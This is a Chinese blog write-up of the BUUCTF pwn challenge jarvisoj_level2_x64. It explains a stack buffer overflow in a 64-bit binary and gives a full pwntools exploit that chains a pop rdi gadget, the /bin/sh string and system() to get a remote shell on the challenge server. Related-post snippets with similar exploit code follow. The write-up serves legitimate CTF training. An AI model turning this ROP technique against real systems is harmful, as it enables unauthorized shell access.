[BUUCTF]PWN——jarvisoj_level2_x64

最新推荐文章于 2024-07-05 00:58:41 发布
最新推荐文章于 2024-07-05 00:58:41 发布
阅读量1.3k 收藏 1
点赞数
分类专栏： pwn
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/BangSen1/article/details/115333417
版权

jarvisoj_level2_x64

例行检查 ，64位，开启NX保护，
在这里插入图片描述
运行一下
在这里插入图片描述
用IDA打开。
在这里插入图片描述
systemaddr=0x40063e
在这里插入图片描述

shalladdr=0x400A90

查看主函数，buf的长度为0x80,读取的长度为0x200，可以造成溢出漏洞。
在这里插入图片描述
rdiaddr= 0x4006b3

在这里插入图片描述

from pwn import *

context(log_level = 'debug')
elf = ELF('./level2_x64')
p = remote('node3.buuoj.cn',29055)

systemaddr=0x40063E
shelladdr=0x600a90
rdiaddr=0x4006b3

payload= 'a'*(0x80+8)+p64(rdiaddr)+p64(shelladdr)+p64(systemaddr)

p.sendline(payload)
p.interactive()

在这里插入图片描述

HAIANAWEI
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
(Jarvis Oj)(Pwn) level2(x64)
Nothing
04-19 1411
(Jarvis Oj)(Pwn) level2(x64) 首先用checksec查一下保护，和level2一样。 反汇编，程序和32位的程序几乎一致。找到溢出点。 那么溢出思路也和32位的差不多，唯一不同的是，64位程序在调用system函数时，参数的传递方式和32位不一样，32位是通过栈传参，而64位通过edi寄存器传参，所以这时我们的思路变成如何覆盖edi的值，通过基本rop就可...
jarvisoj_typo
05-14
jarvisoj_typo，arm架构下的pwn题。
【BUUCTF-PWN】13-jarvisoj_level2_x64
最新发布
燕麦葡萄干的博客
07-05 384
ret指令的地址，再接着是’/bin/sh’字符串的地址，最后是system()函数的地址。ret处，该指令会将当前栈顶的元素（‘/bin/sh’字符串的地址）出栈并存入rdi中，并返回到下一条指令处。此时栈中就只有system()函数的地址了，所以下一条指令正是system()，而它需要的参数正好就在rdi寄存器中，这样就执行了system(’/bin/sh’)现在只需要让函数返回到system，并传入参数“/bin/sh”就可以了。32位的比较简单，只需要返回地址+下一次的返回地址+参数1+参数2+…
BUUCTF jarvisoj_level2_x64
小白垃圾笔记2
05-12 291
因为有栈对齐所以需要ret，因为是64位传参所以需要pop rdi。system函数的地址也可以看。小白做题笔记，不建议阅读。我们尝试找下bin/sh。函数直接调用漏洞函数。
[BUUCTF-pwn]——jarvisoj_level2_x64
Y_peak的博客
02-11 349
[BUUCTF-pwn]——jarvisoj_level2_x64 题目地址:https://buuoj.cn/challenges#jarvisoj_level2_x64 checksec 一下,64位 ,开启NX保护 64位应该会用到pop rdi这个汇编指令 在IDA中看看 思路:64位先将binsh这个参数放入,rdi寄存器中.紧接着返回并执行system函数 exploit from pwn import * p = remote("node3.buuoj.cn",27828) b
buuctf|pwn-jarvisoj_level2_x64-wp
l2645470582_的博客
11-08 448
1.例行检查保护机制 只开启了堆保护 2.我们用64位的IDA查看该文件 shift+f12查看关键字符串，我们看到关键字符串“/bin/sh” 我们双击“/bin/sh”,bin/sh的地址为：0x0600A90 3.查看main函数里面的内容 进入vulnerable_function()函数 我们看到buf只有0x80个字节，但是下面read（）里面读取了0x200个，这里造成了溢出 4.system("/bin/sh")才能拿到权限 我们找...
buuctf jarvisoj_level2_x64
carol2358的博客
04-22 393
水题 栈溢出，system和binsh都可以用gdb找到 exp： from pwn import * from LibcSearcher import * local_file = './level2_x64' local_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so' remote_libc = './libc.so.6' s...
BUUCTF pwn——jarvisoj_level2_x64
CNS-Enterprise BCC-1701-J
04-03 251
BUUCTF 做题练习
【BUUCTF】jarvisoj_level2_x64 Write Up
古月浪子的博客
08-06 623
漏洞函数里面可以看到，我们可以栈溢出 题目使用了system函数，我们可以直接调用 程序里面藏了一个binsh 接下来只需要构造rop链了 64位的函数调用的第一个参数由rdi寄存器传递，很显然需要用到pop rdi这个gadget，并且几乎每个64位程序里面都能找到它 再需要注意的就是，system调用的时候需要栈对齐，这里采用一个ret来对齐栈 from pwn import * from LibcSearcher import * from struct import pack context..
jarvisoj_add
05-14
jarvisoj_add，mips架构下的pwn题。
PWN.rar_AVR PWM_GPS FPGA_PWN_avr_avr pwn
09-23
【标题】"PWN.rar" 是一个包含与 AVR 单片机、PWM 脉冲输出、GPS 和 FPGA 相关资源的压缩包。其中，"AVR_PWM_GPS_FPGA_PWN_avr_avr_pwn" 可能是项目或文件集合的命名，暗示了这些技术的综合应用。 【描述】描述指出...
pwn学习资料整理——ROP技术（pwn_rop2）
08-30
pwn学习资料整理——ROP技术（pwn_rop2）
Wi-PWN_8.0_ENGLISH_OLED.bin
08-25
这是ESP8266的带OLED显示的WIFI杀手固件。
jarvisoj_level2_x64[BUUCTF]
moonlightsunshin的博客
05-04 337
32位中参数都是保存在栈上，但在64位中的前六个参数依次保存在RDI，RSI，RDX，RCX，R8和 R9中，如果还有更多的参数的话才会保存在栈上。read函数存在溢出同时发现有/bin/sh所以我们思路就是构造溢出到/bin/sh,但是由于是64位的程序在函数调用时与32位不同。由32位变成了64位。payload的组成 无用数据+pop rdi+函数参数+函数调用地址/bin/sh+函数返回地址system。回到这道题 64位会依次传函数返回地址,函数参数,函数调用地址,
BUUCTF-Pwn-jarvisoj_level2
餐桌上的猫
02-15 2329
题目截图 检查文件信息，开启了NX 用IDA打开查看字符串，存在/bin/sh，检查交叉引用发现并没有被使用 查看函数表存在system函数 进入主函数反汇编查看 进入函数vulnerable_function()查看，发现存在栈溢出漏洞，就可以利用现有system函数和/bin/sh字符串getshell exp from pwn import* r=remote('node4.buuoj.cn',28083) str_bin_sh=0x804a024 call_system=0x8048
jarvisoj_level2_x64
、moddemod
06-17 530
exp #!/usr/bin/env python3 # coding=utf-8 from pwn import * context(log_level = 'debug') proc_name = './level2_x64' p =process(proc_name) p = remote('node3.buuoj.cn', 25838) elf = ELF(proc_name) system_addr = elf.sym['system'] bin_sh_str = 0x600a90 pop..
CTF PWN [XMAN]level2(x64)
qq_41743240的博客
04-08 397
CTF PWN [XMAN]level2(x64) 题目地址 首先进行checksec保护机制的查询 发现只开了NX,所以不能利用shellcode方式获取shell,这里采用ROP方式获取shell IDA反编译查看伪源码 程序非常简单,两个函数 main: vulnerable_function: 在vulnerable_function有个问题,buf申请空间为0x80字节,然而可以读...
jarvisoj_level1
08-28
很抱歉，我无法回答这个问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [[BUUCTF-pwn]——jarvisoj_level1](https://blog.csdn.net/Y_peak/article/details/114916604)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [个人网站大总结合集—持续更新，欢迎共享，不要白嫖哦](https://download.csdn.net/download/weixin_38708461/14885161)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值